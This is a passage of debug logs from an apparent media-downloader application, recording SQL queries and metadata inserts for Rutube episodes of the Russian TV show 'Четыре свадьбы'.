"playlist_index" => 96, "timestamp" => 1741098607, "title" => "Четыре свадьбы: Свадьба в морском стиле VS Молодежная свадьба", "upload_date" => "20250304"} 14:36:09.673 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=33.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:09.674 [debug] QUERY OK source="sources" db=0.3ms idle=15.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:09.674 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-04 14:30:07Z], 1] 14:36:09.690 [debug] QUERY OK source="media_items" db=15.1ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты приглашают на свои торжества. У Марии из Екатеринбурга будет молодёжная свадьба. Алиса из Санкт-Петербурга подготовит свадьбу в оттенках фуксии. Юлия из Самары выберет для своего мероприятия морской стиль. А свадьба Анастасии из Ульяновска пройдёт в классическом стиле. Чем девушки будут удивлять гостей на своих мероприятиях, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьба в морском стиле VS Молодежная свадьба", "7db59cec-5c53-4ade-aece-9707d16cd8df", "0b8c9171a1fe5fb48a07e45a482983b0", 5295, false, "https://rutube.ru/video/0b8c9171a1fe5fb48a07e45a482983b0/", 96, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e030400 - Четыре свадьбы: Свадьба в морском стиле VS Молодежная свадьба.mp4", false, false, false, 1, [], 1, ~U[2025-03-04 14:30:07Z], ~U[2025-12-09 11:36:09Z], ~U[2025-12-09 11:36:09Z], "Четыре невесты приглашают на свои торжества. У Марии из Екатеринбурга будет молодёжная свадьба. Алиса из Санкт-Петербурга подготовит свадьбу в оттенках фуксии. Юлия из Самары выберет для своего мероприятия морской стиль. А свадьба Анастасии из Ульяновска пройдёт в классическом стиле. Чем девушки будут удивлять гостей на своих мероприятиях, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьба в морском стиле VS Молодежная свадьба", "0b8c9171a1fe5fb48a07e45a482983b0", 5295, false, "https://rutube.ru/video/0b8c9171a1fe5fb48a07e45a482983b0/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e030400 - Четыре свадьбы: Свадьба в морском стиле VS Молодежная свадьба.mp4", false, 1, ~U[2025-03-04 14:30:07Z]] 14:36:09.692 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=18.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:09.693 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=19.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:09.694 [debug] QUERY OK source="media_items" db=0.7ms idle=19.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3237] 14:36:09.695 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты оценят свадьбы друг друга. Надежда из Ставрополя пригласит гостей на свадьбу в стиле русских традиций с караваем. Наталья из Ульяновска устроит свадьбу в классическом стиле. Свадьба Марии из Уфы пройдет в стиле современной классики. А Екатерина из Чехова удивит свадьбой в нежном стиле. Какие сюрпризы подготовили девушки, покажет программа «Четыре свадьбы».\n\nФилипп Киркоров выбирает гель для стирки Lamm для своего огромного гардероба – https://vk.cc/cJqzu7?erid=2SDnjdsgfXi", "duration" => 5574, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e031100 - Четыре свадьбы: Cвадьба в стиле русских традиций VS Современная классика.mp4", "id" => "15373d98631718bdc9e5b41188f2bbcc", "original_url" => "https://rutube.ru/video/15373d98631718bdc9e5b41188f2bbcc/", "playlist_index" => 97, "timestamp" => 1741704010, "title" => "Четыре свадьбы: Cвадьба в стиле русских традиций VS Современная классика", "upload_date" => "20250311"} 14:36:09.695 [debug] QUERY OK source="sources" db=0.3ms idle=20.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:09.696 [debug] QUERY OK source="sources" db=0.2ms queue=0.3ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:09.697 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-11 14:40:10Z], 1] 14:36:09.721 [debug] QUERY OK source="media_items" db=23.6ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят свадьбы друг друга. Надежда из Ставрополя пригласит гостей на свадьбу в стиле русских традиций с караваем. Наталья из Ульяновска устроит свадьбу в классическом стиле. Свадьба Марии из Уфы пройдет в стиле современной классики. А Екатерина из Чехова удивит свадьбой в нежном стиле. Какие сюрпризы подготовили девушки, покажет программа «Четыре свадьбы».\n\nФилипп Киркоров выбирает гель для стирки Lamm для своего огромного гардероба – https://vk.cc/cJqzu7?erid=2SDnjdsgfXi", "Четыре свадьбы: Cвадьба в стиле русских традиций VS Современная классика", "64ce4f8b-737e-442f-a727-62875306fd3c", "15373d98631718bdc9e5b41188f2bbcc", 5574, false, "https://rutube.ru/video/15373d98631718bdc9e5b41188f2bbcc/", 97, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e031100 - Четыре свадьбы: Cвадьба в стиле русских традиций VS Современная классика.mp4", false, false, false, 1, [], 1, ~U[2025-03-11 14:40:10Z], ~U[2025-12-09 11:36:09Z], ~U[2025-12-09 11:36:09Z], "Четыре невесты оценят свадьбы друг друга. Надежда из Ставрополя пригласит гостей на свадьбу в стиле русских традиций с караваем. Наталья из Ульяновска устроит свадьбу в классическом стиле. Свадьба Марии из Уфы пройдет в стиле современной классики. А Екатерина из Чехова удивит свадьбой в нежном стиле. Какие сюрпризы подготовили девушки, покажет программа «Четыре свадьбы».\n\nФилипп Киркоров выбирает гель для стирки Lamm для своего огромного гардероба – https://vk.cc/cJqzu7?erid=2SDnjdsgfXi", "Четыре свадьбы: Cвадьба в стиле русских традиций VS Современная классика", "15373d98631718bdc9e5b41188f2bbcc", 5574, false, "https://rutube.ru/video/15373d98631718bdc9e5b41188f2bbcc/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e031100 - Четыре свадьбы: Cвадьба в стиле русских традиций VS Современная классика.mp4", false, 1, ~U[2025-03-11 14:40:10Z]] 14:36:09.725 [debug] QUERY OK source="sources" db=2.8ms idle=27.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:09.725 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.2ms idle=29.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:09.727 [debug] QUERY OK source="media_items" db=1.1ms idle=30.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5693] 14:36:09.728 [debug] Current batch of media processed. Will check again in 1000ms 14:36:10.729 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты оценят свадьбы друг друга. Свадьба Елены из Калининграда пройдет в рыцарском стиле в замке. Иделия из Казани пригласит всех на свадьбу в стиле тусовки. Фишкой свадьбы Анжелы из Уфы станет национальный колорит и танец на подносе. А невеста Ольга из Екатеринбурга сыграет на барабанах на собственной свадьбе. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "duration" => 5983, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e031800 - Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле рок.mp4", "id" => "d2e5cb39852ac4fe64d98be95b489d59", "original_url" => "https://rutube.ru/video/d2e5cb39852ac4fe64d98be95b489d59/", "playlist_index" => 98, "timestamp" => 1742325628, "title" => "Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле рок", "upload_date" => "20250318"} 14:36:10.730 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1008.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:10.731 [debug] QUERY OK source="sources" db=0.2ms idle=1005.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:10.736 [debug] QUERY OK source="media_items" db=3.8ms queue=0.4ms idle=1005.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-18 19:20:28Z], 1] 14:36:10.752 [debug] QUERY OK source="media_items" db=15.2ms queue=0.1ms idle=1008.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят свадьбы друг друга. Свадьба Елены из Калининграда пройдет в рыцарском стиле в замке. Иделия из Казани пригласит всех на свадьбу в стиле тусовки. Фишкой свадьбы Анжелы из Уфы станет национальный колорит и танец на подносе. А невеста Ольга из Екатеринбурга сыграет на барабанах на собственной свадьбе. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле рок", "dc795567-114b-4e32-81a1-7619c5e11aab", "d2e5cb39852ac4fe64d98be95b489d59", 5983, false, "https://rutube.ru/video/d2e5cb39852ac4fe64d98be95b489d59/", 98, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e031800 - Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле рок.mp4", false, false, false, 1, [], 1, ~U[2025-03-18 19:20:28Z], ~U[2025-12-09 11:36:10Z], ~U[2025-12-09 11:36:10Z], "Четыре невесты оценят свадьбы друг друга. Свадьба Елены из Калининграда пройдет в рыцарском стиле в замке. Иделия из Казани пригласит всех на свадьбу в стиле тусовки. Фишкой свадьбы Анжелы из Уфы станет национальный колорит и танец на подносе. А невеста Ольга из Екатеринбурга сыграет на барабанах на собственной свадьбе. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле рок", "d2e5cb39852ac4fe64d98be95b489d59", 5983, false, "https://rutube.ru/video/d2e5cb39852ac4fe64d98be95b489d59/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e031800 - Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле рок.mp4", false, 1, ~U[2025-03-18 19:20:28Z]] 14:36:10.754 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=406.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:10.755 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=24.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:10.757 [debug] QUERY OK source="media_items" db=0.8ms idle=24.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7590] 14:36:10.757 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске оценивать свадьбы друг друга будут невесты и их женихи. Александр и Полина из Екатеринбурга пригласят гостей на свою современную свадьбу. Станислав и Эсфирь из Твери выберут для своего мероприятия готический стиль. Василий и Татьяна из Санкт-Петербурга решат выделиться тем, что будут в кроссовках на своей свадьбе. А у Александра и Екатерины из Санкт-Петербурга будет классическая свадьба с элементами драгметаллов. Смотрите программу «Четыре свадьбы»!", "duration" => 7344, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e032500 - Четыре свадьбы: Свадьба в готическом стиле VS Современная классика.mp4", "id" => "47b9e510a2b68292bd24f0ad5c4ee789", "original_url" => "https://rutube.ru/video/47b9e510a2b68292bd24f0ad5c4ee789/", "playlist_index" => 99, "timestamp" => 1742925613, "title" => "Четыре свадьбы: Свадьба в готическом стиле VS Современная классика", "upload_date" => "20250325"} 14:36:10.758 [debug] QUERY OK source="sources" db=0.6ms idle=21.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:10.759 [debug] QUERY OK source="sources" db=0.5ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:10.760 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-25 18:00:13Z], 1] 14:36:10.782 [debug] QUERY OK source="media_items" db=20.6ms idle=5.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске оценивать свадьбы друг друга будут невесты и их женихи. Александр и Полина из Екатеринбурга пригласят гостей на свою современную свадьбу. Станислав и Эсфирь из Твери выберут для своего мероприятия готический стиль. Василий и Татьяна из Санкт-Петербурга решат выделиться тем, что будут в кроссовках на своей свадьбе. А у Александра и Екатерины из Санкт-Петербурга будет классическая свадьба с элементами драгметаллов. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в готическом стиле VS Современная классика", "6cb38169-7317-4e76-8758-8744d5608b40", "47b9e510a2b68292bd24f0ad5c4ee789", 7344, false, "https://rutube.ru/video/47b9e510a2b68292bd24f0ad5c4ee789/", 99, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e032500 - Четыре свадьбы: Свадьба в готическом стиле VS Современная классика.mp4", false, false, false, 1, [], 1, ~U[2025-03-25 18:00:13Z], ~U[2025-12-09 11:36:10Z], ~U[2025-12-09 11:36:10Z], "В этом выпуске оценивать свадьбы друг друга будут невесты и их женихи. Александр и Полина из Екатеринбурга пригласят гостей на свою современную свадьбу. Станислав и Эсфирь из Твери выберут для своего мероприятия готический стиль. Василий и Татьяна из Санкт-Петербурга решат выделиться тем, что будут в кроссовках на своей свадьбе. А у Александра и Екатерины из Санкт-Петербурга будет классическая свадьба с элементами драгметаллов. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в готическом стиле VS Современная классика", "47b9e510a2b68292bd24f0ad5c4ee789", 7344, false, "https://rutube.ru/video/47b9e510a2b68292bd24f0ad5c4ee789/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e032500 - Четыре свадьбы: Свадьба в готическом стиле VS Современная классика.mp4", false, 1, ~U[2025-03-25 18:00:13Z]] 14:36:10.785 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=26.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:10.786 [debug] QUERY OK source="media_profiles" db=0.4ms idle=27.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:10.787 [debug] QUERY OK source="media_items" db=0.4ms idle=27.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 